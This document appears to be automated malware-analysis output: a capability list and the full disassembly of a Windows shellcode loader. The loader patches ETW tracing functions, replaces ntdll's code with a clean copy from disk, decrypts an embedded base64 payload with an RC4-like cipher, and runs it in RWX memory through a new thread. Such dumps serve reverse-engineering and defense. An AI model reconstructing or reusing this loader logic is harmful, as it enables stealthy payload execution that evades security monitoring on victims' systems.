Function at 0x1400015f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Encode data using xor
Execute shellcode via indirect call
Hide graphical window
Inject thread
Link many functions at runtime
Patch event tracing for windows function
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x298
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x1400fdb94]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1400fdbe7]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
xorps xmm0, xmm0
movaps xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x1a0], 0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0x90], 0x70
lea rax, [rsp + 0x190]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.Narrarator.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rsi, qword [rsp + 0x190]
call sym.winproc::process::Process::current::h50a33c02e0081b39
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x78]
call sym.winproc::process::Process::module_list::h53bdf170edcb9e4d
mov qword [rsp + 0x290], rsi
cmp dword [rsp + 0x190], 4
jne 0x140002273
mov r14, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x88], rax
mov rbx, qword [rsp + 0x1a8]
test rbx, rbx
je 0x140001939
shl rbx, 4
xor r15d, r15d
movabs r12, 0x6c642e6c6c64746e
nop dword [rax]
movups xmm0, xmmword [r14 + r15]
movaps xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x60]
call sym.winproc::process::module::Module::name::ha704a6f79c7f3873
cmp dword [rsp + 0x190], 4
jne 0x1400021ef
mov rsi, qword [rsp + 0x198]
mov rbp, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x90]
mov rdx, rsi
call dbg.to_lowercase
mov rax, qword [0x140135888]
movzx eax, byte [rax]
mov ecx, 9
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x140002250
mov qword [rax], r12
mov byte [rax + 8], 0x6c
mov rdi, qword [rsp + 0x90]
cmp qword [rsp + 0xa0], 9
jne 0x1400018e0
mov rcx, qword [rdi]
xor rcx, qword [rax]
movzx edx, byte [rdi + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
sete r13b
jmp 0x1400018e3
xor r13d, r13d
mov edx, 9
mov r8d, 1
mov rcx, rax
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x98]
test rdx, rdx
je 0x140001911
mov r8d, 1
mov rcx, rdi
call sym.__rust_dealloc
test rbp, rbp
je 0x140001927
mov r8d, 1
mov rcx, rsi
mov rdx, rbp
call sym.__rust_dealloc
test r13b, r13b
jne 0x140001967
add r15, 0x10
cmp rbx, r15
jne 0x140001830
mov rdx, qword [rsp + 0x88]
test rdx, rdx
je 0x140001958
shl rdx, 4
mov r8d, 8
mov rcx, r14
call sym.__rust_dealloc
lea rcx, [rsp + 0x78]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::hb24f64d31740222d
xor r15d, r15d
jmp 0x14000199d
lea rcx, [rsp + 0x60]
call sym.winproc::process::module::Module::handle::hcb3eafe2a6f7aa39
mov r15, rax
mov rdx, qword [rsp + 0x88]
test rdx, rdx
je 0x140001993
shl rdx, 4
mov r8d, 8
mov rcx, r14
call sym.__rust_dealloc
lea rcx, [rsp + 0x78]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::hb24f64d31740222d
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rsp + 0x90]
mov r8d, 0x1d
call sym.pelite::mmap::windows::ImageMap::_open::h67b4496e3b055f20
cmp qword [rsp + 0x90], 0
je 0x140001a24
mov rax, qword [rsp + 0x98]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140001b2a
test rcx, rcx
je 0x140001b2a
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140001a0c
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
jmp 0x140001b2a
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x1a0], rax
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x190]
call sym.__pelite::mmap::windows::FileMap_as_core::convert::AsRef__u8___::as_ref::hd955a2b74bfcda4c
mov rsi, rax
mov rbx, rdx
mov rcx, rax
call sym.pelite::pe64::pe::validate_headers::h395e29238b1fb404
test al, 1
jne 0x1400023a7
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea rcx, [rsp + 0x60]
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::image::ha2c96df466fc578e
mov rcx, rax
call sym.pelite::pe32::pe::section_headers::h09e6dfe7ab845d6f
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop dword [rax]
test rcx, rcx
je 0x1400021d2
lea r14, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, r14
jne 0x140001aa0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea rcx, [rsp + 0x60]
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::image::ha2c96df466fc578e
mov rdi, rax
mov rbx, rdx
lea rsi, [rsp + 0x60]
mov rcx, rsi
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::align::hb4f0ee39c85c305c
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x78]
mov rdx, rdi
mov r8, rbx
mov r9, r14
call sym.pelite::wrap::pe::get_section_bytes::hf33f6c2815047a9e
cmp qword [rsp + 0x78], 0
je 0x1400023c5
mov eax, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
add r15, rcx
mov qword [0x14014a030], rax
mov qword [0x14014a038], r15
lea rcx, [rsp + 0x190]
call sym.__pelite::mmap::windows::FileMap_as_core::ops::drop::Drop_::drop::h89d9f000b79a2a9b
lea rax, [0x14014a038]
mov qword [rsp + 0x60], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::LowerHex_for_i64_::fmt::h251acec7289bd7f2]
mov qword [rsp + 0x68], rax
lea rax, [0x1400fdc20]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x90]
call dbg.format_inner
mov r14, qword [rsp + 0x190]
mov rbx, qword [rsp + 0x198]
mov rsi, qword [0x14014a030]
mov r12d, 4
test rsi, rsi
je 0x140001bec
mov rax, rsi
shr rax, 0x3d
jne 0x140002391
lea rdi, [rsi*4]
test rdi, rdi
je 0x140001bec
mov edx, 4
mov rcx, rdi
call sym.__rust_alloc_zeroed
mov r12, rax
test rax, rax
je 0x140002398
mov rdx, qword [0x14014a038]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x290]
mov r8, r12
mov r9, rsi
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x140002264
mov rdx, qword [0x14014a038]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r12
mov r9, rsi
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x140002264
test rsi, rsi
je 0x140001c5c
shl rsi, 2
mov r8d, 4
mov rcx, r12
mov rdx, rsi
call sym.__rust_dealloc
test rbx, rbx
je 0x140001c72
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
lea rcx, [0x1400fdb94]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1400fdbe7]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, section..data
lea rcx, [rsp + 0x90]
mov r8d, 1
call sym.base64::decode::decode_config::h7a1dadfd347d32d5
mov rdi, qword [rsp + 0x90]
test rdi, rdi
je 0x1400022d4
mov rbx, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea rdx, [0x1400dd010]
lea rcx, [rsp + 0x90]
mov r8d, 1
call sym.base64::decode::decode_config::h7a1dadfd347d32d5
mov r14, qword [rsp + 0x90]
test r14, r14
je 0x140002312
mov r12, qword [rsp + 0x98]
mov rsi, qword [rsp + 0xa0]
lea rdx, [0x1400dd020]
lea rcx, [rsp + 0x90]
mov r8d, 1
call sym.base64::decode::decode_config::h7a1dadfd347d32d5
mov r13, qword [rsp + 0x90]
test r13, r13
je 0x140002353
mov rbp, qword [rsp + 0x98]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x280], xmm0
movaps xmmword [rsp + 0x270], xmm0
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x250], xmm0
movaps xmmword [rsp + 0x240], xmm0
movaps xmmword [rsp + 0x230], xmm0
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x200], xmm0
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x190], xmm0
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
test rsi, rsi
je 0x1400021b5
xor ecx, ecx
jmp 0x140001f33
mov rax, r8
xor edx, edx
div rsi
movzx eax, byte [r14 + rdx]
mov byte [rsp + rcx + 0x91], al
inc r8
mov rcx, r8
cmp r8, 0x100
je 0x140001f83
mov byte [rsp + rcx + 0x190], cl
mov rax, rcx
or rax, rsi
shr rax, 0x20
je 0x140001f50
mov rax, rcx
xor edx, edx
div rsi
jmp 0x140001f56
mov eax, ecx
xor edx, edx
div esi
lea r8, [rcx + 1]
movzx eax, byte [r14 + rdx]
mov byte [rsp + rcx + 0x90], al
mov byte [rsp + rcx + 0x191], r8b
mov rax, r8
or rax, rsi
shr rax, 0x20
jne 0x140001f10
mov eax, r8d
xor edx, edx
div esi
jmp 0x140001f18
mov eax, 1
xor ecx, ecx
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x18f]
add cl, dl
add cl, byte [rsp + rax + 0x8f]
movzx ecx, cl
movzx r8d, byte [rsp + rcx + 0x190]
mov byte [rsp + rax + 0x18f], r8b
mov byte [rsp + rcx + 0x190], dl
movzx edx, byte [rsp + rax + 0x190]
add cl, dl
add cl, byte [rsp + rax + 0x90]
movzx r8d, cl
movzx r9d, byte [rsp + r8 + 0x190]
mov byte [rsp + rax + 0x190], r9b
mov byte [rsp + r8 + 0x190], dl
add rax, 2
cmp rax, 0x101
jne 0x140001f90
test r15, r15
je 0x140002066
xor eax, eax
xor ecx, ecx
xor edx, edx
nop word cs:[rax + rax]
inc ecx
movzx ecx, cl
movzx r8d, byte [rsp + rcx + 0x190]
add dl, r8b
add dl, byte [rsp + rcx + 0x90]
movzx r9d, dl
movzx r10d, byte [rsp + r9 + 0x190]
mov byte [rsp + rcx + 0x190], r10b
mov byte [rsp + r9 + 0x190], r8b
add r8b, byte [rsp + rcx + 0x190]
movzx r8d, r8b
movzx r8d, byte [rsp + r8 + 0x190]
xor byte [rdi + rax], r8b
inc rax
cmp r15, rax
jne 0x140002010
test rbp, rbp
je 0x14000207c
mov r8d, 1
mov rcx, r13
mov rdx, rbp
call sym.__rust_dealloc
test r12, r12
je 0x140002092
mov r8d, 1
mov rcx, r14
mov rdx, r12
call sym.__rust_dealloc
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x190], r15
mov dword [rsp + 0x78], 0
mov qword [rsp + 0x90], r15
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
lea r9, [rsp + 0x90]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rdi
mov r9, r15
call sub.ntdll.dll_NtWriteVirtualMemory
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
lea r8, [rsp + 0x190]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0x90], 0
mov rax, qword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x90]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0x90]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
test rbx, rbx
je 0x1400021a0
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call sym.__rust_dealloc
nop
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x1400fdd50]
lea r8, [0x1400fdd38]
mov edx, 0x39
call dbg.panic
jmp 0x1400023f8
lea rcx, [0x1400fdc60]
lea r8, [0x1400fdc90]
mov edx, 0x2b
call dbg.panic
jmp 0x1400023f8
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x190]
movups xmm1, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, [0x1400fdcd8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400de020]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::h5d1253059eeba210
lea r8, [rsp + 0x90]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400023f8
mov ecx, 1
mov edx, 9
call dbg.handle_alloc_error
jmp 0x1400023f8
mov ecx, 1
call dbg.exit
jmp 0x1400023f8
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x190]
movups xmm1, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, [0x1400fdcc0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400de020]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::h5d1253059eeba210
lea r8, [rsp + 0x90]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400023f8
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x190], xmm0
lea rax, [0x1400fdcf0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400de020]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::hf5254a086a508462
lea r8, [rsp + 0x190]
mov edx, 0x2b
call dbg.unwrap_failed
ud2
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x190], xmm0
lea rax, [0x1400fdd08]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400de020]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::hf5254a086a508462
lea r8, [rsp + 0x190]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400023f8
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x190], xmm0
lea rax, [0x1400fdd20]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400de020]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::hf5254a086a508462
lea r8, [rsp + 0x190]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400023f8
call dbg.capacity_overflow
jmp 0x1400023f8
mov ecx, 4
mov rdx, rdi
call dbg.handle_alloc_error
jmp 0x1400023f8
mov byte [rsp + 0x60], ah
lea rax, [0x1400fdc48]
lea rsi, [rsp + 0x60]
mov edx, 6
lea rcx, str.REASONsrc_main.rs
jmp 0x1400023e4
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x60], al
lea rax, [0x1400fdca8]
mov edx, 0x2b
lea rcx, [0x1400de020]
mov qword [rsp + 0x20], rax
lea r9, section..rdata
mov r8, rsi
call dbg.unwrap_failed
ud2